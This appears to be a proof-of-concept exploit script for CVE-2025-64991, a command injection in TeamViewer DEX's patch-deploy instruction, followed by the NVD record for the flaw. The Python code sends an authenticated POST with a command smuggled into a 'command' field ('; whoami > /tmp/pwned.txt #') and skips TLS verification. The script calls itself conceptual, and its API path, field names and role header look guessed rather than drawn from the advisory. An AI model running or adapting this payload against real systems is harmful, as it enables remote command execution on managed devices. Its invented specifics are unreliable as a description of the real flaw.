CVE-2025-64991

# CVE-2025-64991 PoC - TeamViewer DEX Command Injection # Affected: 1E-PatchInsights-Deploy < V15 # Note: This is a conceptual PoC for educational purposes only import requests import json TARGET_URL = "https://target-teamviewer-dex.local/api/v1/patch/deploy" AUTH_TOKEN = "your_auth_token_here" def exploit_cve_2025_64991(): """ Exploit for CVE-2025-64991: Command injection in 1E-PatchInsights-Deploy The vulnerability allows authenticated attackers with Actioner privileges to inject arbitrary commands through improper input validation. """ # Malicious payload targeting the vulnerable parameter # Injecting command via the patch deployment instruction malicious_payload = { "instruction_id": "deploy_patch", "target_device": "WORKSTATION-001", "patch_name": "KB1234567", "command": "; whoami > /tmp/pwned.txt #", # Command injection point "execution_options": { "timeout": 30, "retry_count": 0 } } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json", "X-Actioner-Role": "true" } try: response = requests.post( TARGET_URL, json=malicious_payload, headers=headers, verify=False, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] Check /tmp/pwned.txt on target device") else: print("[-] Exploitation failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-64991 PoC - TeamViewer DEX Command Injection") print("=" * 60) exploit_cve_2025_64991()

{"cve": {"id": "CVE-2025-64991", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:26.063", "lastModified": "2026-01-09T02:09:04.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-PatchInsights-Deploy instruction prior V15. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.0", "matchCriteriaId": "25F901BE-3CD2-4D8F-A58B-E3EFCEBB5E5B"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}